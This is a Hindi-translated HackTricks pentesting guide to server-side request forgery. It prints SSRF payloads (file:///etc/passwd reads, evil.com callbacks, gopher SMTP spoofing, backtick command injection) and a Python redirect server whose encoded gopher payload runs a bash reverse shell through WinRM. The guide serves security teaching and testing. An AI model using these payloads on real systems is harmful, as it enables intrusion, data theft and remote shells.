.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Trickest का उपयोग करके आसानी से workflows को बनाएं और स्वचालित करें जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होते हैं।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप cybersecurity company में काम करते हैं? क्या आप चाहते हैं कि आपकी company का विज्ञापन HackTricks में दिखाई दे? या क्या आप PEASS के नवीनतम संस्करण तक पहुंच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? SUBSCRIPTION PLANS देखें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- official PEASS & HackTricks swag प्राप्त करें
- 💬 Discord group में शामिल हों या telegram group या Twitter पर मुझे फॉलो करें 🐦@carlospolopm.
- hacktricks repo में PRs सबमिट करके अपनी hacking tricks साझा करें और hacktricks-cloud repo.
Server-side request forgery (जिसे SSRF के नाम से भी जाना जाता है) एक वेब सुरक्षा संवेदनशीलता है जो हमलावर को सर्वर-साइड एप्लिकेशन को हमलावर की पसंद के किसी भी डोमेन पर HTTP अनुरोध भेजने के लिए प्रेरित करने की अनुमति देती है। (यहाँ से यहाँ)
Capture SSRF
आपको जो पहली चीज करनी चाहिए वह है आपके द्वारा प्रेरित किए गए SSRF इंटरैक्शन को कैप्चर करना। HTTP या DNS इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित टूल्स का उपयोग कर सकते हैं:
- Burpcollab
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
Whitelisted Domains Bypass
आमतौर पर आप पाएंगे कि SSRF केवल कुछ व्हाइटलिस्टेड डोमेन्स या URL में ही काम कर रहा है। निम्नलिखित पृष्ठ में आपके पास उस व्हाइटलिस्ट को बायपास करने के लिए तकनीकों का संकलन है:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Bypass via open redirect
यदि सर्वर सही ढंग से सुरक्षित है, तो आप वेब पेज के अंदर एक Open Redirect का शोषण करके सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेबपेज उसी डोमेन के लिए SSRF की अनुमति देगा और संभवतः रीडायरेक्ट्स का पालन करेगा, आप Open Redirect का शोषण करके सर्वर को किसी भी आंतरिक संसाधन तक पहुंचने के लिए बना सकते हैं।
यहाँ और पढ़ें: https://portswigger.net/web-security/ssrf
Protocols
file://
file:///etc/passwd
dict://
DICT URL योजना का उपयोग DICT प्रोटोकॉल का उपयोग करके उपलब्ध परिभाषाओं या शब्द सूचियों को संदर्भित करने के लिए किया जाता है:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP://
एक नेटवर्क प्रोटोकॉल जिसका उपयोग सुरक्षित शेल के जरिए सुरक्षित फाइल स्थानांतरण के लिए किया जाता है
ssrf.php?url=sftp://evil.com:11111/
TFTP://
Trivial File Transfer Protocol, UDP के ऊपर काम करता है
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP://
Lightweight Directory Access Protocol। यह एक एप्लिकेशन प्रोटोकॉल है जिसका उपयोग एक IP नेटवर्क पर वितरित डायरेक्टरी जानकारी सेवा को प्रबंधित और एक्सेस करने के लिए किया जाता है।
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
इस प्रोटोकॉल का उपयोग करके आप IP, पोर्ट और बाइट्स निर्दिष्ट कर सकते हैं जिसे आप चाहते हैं कि सर्वर भेजे। फिर, आप मूल रूप से SSRF का उपयोग करके किसी भी TCP सर्वर से संवाद कर सकते हैं (लेकिन आपको पहले सेवा से बात करना आना चाहिए)।
सौभाग्य से, आप Gopherus का उपयोग करके कई सेवाओं के लिए पेलोड बना सकते हैं। इसके अलावा, remote-method-guesser का उपयोग gopher पेलोड Java RMI सेवाओं के लिए बनाने के लिए किया जा सकता है।
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 1337 पर वापस कनेक्ट करें
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
SMTP
https://twitter.com/har1sec/status/1182255952055164929 से:
1. SMTP localhost:25 पर SSRF के साथ कनेक्ट करें
2. पहली पंक्ति से आंतरिक डोमेन नाम प्राप्त करें 220 http://blabla.internaldomain.com ESMTP Sendmail
3. http://internaldomain.com को GitHub पर खोजें, उपडोमेन्स ढूंढें
4. कनेक्ट करें
Curl URL globbing - WAF bypass
यदि SSRF को curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता होती है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए इस writeup में आप file
प्रोटोकॉल के माध्यम से path traversal के लिए यह उदाहरण पा सकते हैं:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
SSRF अनुरोधों को कैप्चर करें
- Burp Collaborator
- http://requestrepo.com/
- https://app.interactsh.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - ngrok का उपयोग करते हुए Burp Collaborator
Referrer हेडर के माध्यम से SSRF
कुछ एप्लिकेशन सर्वर-साइड एनालिटिक्स सॉफ्टवेयर का उपयोग करते हैं जो विजिटर्स को ट्रैक करते हैं। यह सॉफ्टवेयर अक्सर अनुरोधों में Referrer हेडर को लॉग करता है, क्योंकि यह आने वाले लिंक्स को ट्रैक करने के लिए विशेष रूप से दिलचस्प होता है। अक्सर एनालिटिक्स सॉफ्टवेयर Referrer हेडर में दिखाई देने वाले किसी भी तृतीय-पक्ष URL का दौरा करेगा। यह आमतौर पर रेफरिंग साइट्स की सामग्री का विश्लेषण करने के लिए किया जाता है, जिसमें आने वाले लिंक्स में उपयोग किए गए एंकर टेक्स्ट भी शामिल होते हैं। परिणामस्वरूप, Referer हेडर अक्सर SSRF भेद्यताओं के लिए फलदायी हमले की सतह प्रस्तुत करता है।
इस प्रकार की "छिपी" भेद्यताओं की खोज के लिए आप Burp से प्लगइन "Collaborator Everywhere" का उपयोग कर सकते हैं।
प्रमाणपत्र से SNI डेटा के माध्यम से SSRF
एक मनमाने बैकएंड से कनेक्ट करने की अनुमति देने वाली सबसे सरल मिसकॉन्फ़िगरेशन कुछ इस तरह दिखेगी:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
यहाँ, SNI फ़ील्ड मूल्य का उपयोग सीधे बैकएंड के पते के रूप में किया जाता है।
इस असुरक्षित कॉन्फ़िगरेशन के साथ, हम SNI फ़ील्ड में वांछित IP या डोमेन नाम निर्दिष्ट करके SSRF भेद्यता का शोषण कर सकते हैं। उदाहरण के लिए, निम्नलिखित कमांड Nginx को internal.host.com से कनेक्ट करने के लिए मजबूर करेगा:
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
Wget फाइल अपलोड
SSRF के साथ कमांड इंजेक्शन
इस तरह का पेलोड आजमाना उचित हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs रेंडरिंग
यदि वेब पेज स्वचालित रूप से कुछ जानकारी के साथ PDF बना रहा है जो आपने प्रदान की है, तो आप कुछ JS डाल सकते हैं जो PDF निर्माता द्वारा स्वयं (सर्वर) द्वारा PDF बनाते समय निष्पादित की जाएगी और आप SSRF का दुरुपयोग कर पाएंगे। यहाँ अधिक जानकारी पाएं।
SSRF से DoS तक
कई सत्र बनाएं और सत्रों से SSRF का उपयोग करके भारी फाइलें डाउनलोड करने का प्रयास करें।
SSRF PHP फंक्शन्स
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF रीडायरेक्ट टू गोफर
कुछ एक्सप्लॉइटेशन के लिए आपको रीडायरेक्ट रिस्पॉन्स भेजने की आवश्यकता हो सकती है (संभवतः गोफर जैसे अलग प्रोटोकॉल का उपयोग करने के लिए)। यहाँ आपके पास रीडायरेक्ट के साथ जवाब देने के लिए विभिन्न पायथन कोड हैं:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Trickest का उपयोग करके आसानी से और ऑटोमेट वर्कफ्लोज बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित होते हैं।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
DNS Rebidding CORS/SOP बायपास
यदि आपको CORS/SOP के कारण स्थानीय IP से सामग्री को निकालने में समस्या हो रही है, तो DNS Rebidding का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
ऑटोमेटेड DNS Rebidding
Singularity of Origin
एक उपकरण है जो DNS rebinding हमलों को प्रदर्शित करता है। इसमें हमले के सर्वर DNS नाम के IP पते को लक्ष्य मशीन के IP पते में रिबाइंड करने और लक्ष्य मशीन पर कमजोर सॉफ्टवेयर का शोषण करने के लिए हमले के पेलोड को सेवा देने के लिए आवश्यक घटक शामिल हैं।
http://rebind.it/singularity.html में भी सार्वजनिक रूप से चल रहे सर्वर की जांच करें****
DNS Rebidding + TLS Session ID/Session ticket
आवश्यकताएँ:
- SSRF
- आउटबाउंड TLS सत्र
- स्थानीय पोर्ट्स पर सामग्री
हमला:
- उपयोगकर्ता/बॉट को डोमेन तक पहुंचने के लिए कहें जिसे हमलावर नियंत्रित करता है।
- DNS का TTL 0 सेकंड है (ताकि पीड़ित जल्द ही डोमेन के IP की जांच करेगा)।
- पीड़ित और हमलावर के डोमेन के बीच एक TLS कनेक्शन बनाया जाता है। हमलावर Session ID या Session Ticket के अंदर पेलोड डालता है।
- डोमेन खुद के खिलाफ अनंत लूप के रीडायरेक्ट्स शुरू करेगा। इसका उद्देश्य यह है कि उपयोगकर्ता/बॉट डोमेन तक पहुंचता रहे जब तक वह फिर से डोमेन का DNS अनुरोध न करे।
- DNS अनुरोध में अब एक निजी IP पता दिया जाता है (उदाहरण के लिए 127.0.0.1)।
- उपयोगकर्ता/बॉट TLS कनेक्शन को फिर से स्थापित करने की कोशिश करेगा और ऐसा करने के लिए वह Session ID/Ticket ID (जहां हमलावर का पेलोड शामिल था) भेजेगा। तो बधाई हो आपने उपयोगकर्ता/बॉट को खुद पर हमला करने के लिए कहा।
ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (memcache) पर हमला करना चाहते हैं तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करना होगा (पोर्ट हमेशा समान होना चाहिए)।
इस हमले को करने के लिए आप उपकरण का उपयोग कर सकते हैं: https://github.com/jmdx/TLS-poison/
अधिक जानकारी के लिए इस वार्ता को देखें जहां इस हमले की व्याख्या की गई है: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Blind SSRF और not blind SSRF के बीच का अंतर यह है कि blind में आप SSRF अनुरोध का प्रतिसाद नहीं देख सकते हैं। इसलिए, इसका शोषण करना अधिक कठिन है क्योंकि आप केवल ज्ञात कमजोरियों का ही शोषण कर सकते हैं।
Time based SSRF
सर्वर से प्रतिक्रियाओं के समय की जांच करके यह संभव हो सकता है कि एक संसाधन मौजूद है या नहीं (शायद मौजूद संसाधन तक पहुंचने में अधिक समय लगता है जो नहीं है)
Cloud SSRF शोषण
यदि आपको किसी क्लाउड वातावरण के अंदर चल रही मशीन में SSRF कमजोरी मिलती है, तो आप क्लाउड वातावरण के बारे में दिलचस्प जानकारी और यहां तक कि क्रेडेंशियल्स भी प्राप्त कर सकते हैं:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF Vulnerable Platforms
कई ज्ञात प्लेटफॉर्म्स में SSRF कमजोरियां होती हैं या हो चुकी हैं, उन्हें यहां जांचें:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
उपकरण
SSRFMap
SSRF कमजोरियों का पता लगाने और शोषण करने के लिए उपकरण
Gopherus
यह उपकरण Gopher पेलोड्स उत्पन्न करता है:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser एक Java RMI कमजोरी स्कैनर है जो सबसे आम Java RMI कमजोरियों के लिए हमला ऑपरेशन्स का समर्थन करता है। उपलब्ध ऑपरेशन्स के अधिकांश SSRF विकल्प के साथ समर्थन करते हैं, अनुरोधित ऑपरेशन के लिए एक SSRF पेलोड उत्पन्न करने के लिए। gopher विकल्प के साथ, तैयार करने के लिए उपयोग करने योग्य gopher पेलोड्स सीधे उत्पन्न किए जा सकते हैं।
SSRF Proxy
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे Server-Side Request Forgery (SSRF) के लिए कमजोर HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफिक को टनल करने के लिए डिजाइन किया गया है।
अभ्यास के लिए
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
संदर्भ
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबरसिक्योरिटी कंपनी में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण तक पहुंच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
- The PEASS Family की खोज करें, हमारे विशेष NFTs का संग्रह
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- 💬 Discord समूह में शामिल हों या [telegram समूह](https